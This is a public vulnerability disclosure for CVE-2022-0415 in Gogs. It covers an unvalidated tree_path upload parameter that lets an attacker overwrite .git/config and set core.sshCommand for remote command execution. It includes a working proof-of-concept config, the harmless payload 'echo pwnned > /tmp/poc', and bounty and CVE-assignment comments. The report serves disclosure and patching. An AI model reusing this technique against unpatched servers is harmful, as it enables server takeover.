

Remote Command Execution in uploading repository file in gogs/gogs



Reported on Mar 11th 2022

Description

When uploading a file to the repository in Gogs, the `tree_path` parameter is not been validated. The attacker can set `tree_path=/.git/` to upload file into the `.git` directory. Rewrite `.git/config` file and set `core.sshCommand`, which leads to remote command execution vulnerability.

Proof of Concept

Create a repository in Gogs, upload a file `config` to the repository on the web page:

```
[core]
  repositoryformatversion = 0
  filemode = true
  bare = false
  logallrefupdates = true
  ignorecase = true
  precomposeunicode = true
  sshCommand = echo pwnned > /tmp/poc
[remote "origin"]
  url = git@github.com:torvalds/linux.git
  fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
  remote = origin
  merge = refs/heads/master
```

Intercept the HTTP POST form submitting request, and set parameter to `tree_path=/.git/` in request body.

Then a file with text `pwnned` is created in `/tmp/poc`.

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Impact

This vulnerability is capable of executing commands on the remote server and gain the privileged user account, which leads sensitive data exposure, identity theft, etc.

Occurrences

 repo_editor.go L490-L495

References

- [Git Documentation - core.sshCommand](#)

CVE

CVE-2022-0415

(Published)

Vulnerability Type

CWE-20: Improper Input Validation

Severity

Critical (9.9)

Visibility

Public

Status

Fixed

Found by



E99plant

@wuhan005

[maintainer](#)

This report was seen 2,266 times.

We are processing your report and will contact the **gogs** team within 24 hours.

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Joe Chen validated this vulnerability 8 months ago

E99plant has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

We have sent a fix follow up to the gogs team. We will try again in 7 days. 8 months ago

Joe Chen marked this as fixed in 0.12.6 with commit 0fef3c 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

repo_editor.go#L490-L495 has been validated ✓

E99plant 8 months ago

Maintainer

@admin Hi, can you assign a CVE ID for this report? Thanks.

Jamie Slome 8 months ago

Admin

Hi @wuhan005 - before we assign and publish a CVE here, we require the permission of the maintainer.

@maintainer - are you happy for a CVE to be assigned and published for this report?

Joe Chen 8 months ago

Maintainer

Yes, it would be great for having a CVE to be assigned and published for this report!

Jamie Slome 8 months ago

Admin

CVE-2022-0415 assigned and published! 🎉

E99plant 8 months ago

Maintainer

Thanks a lot!

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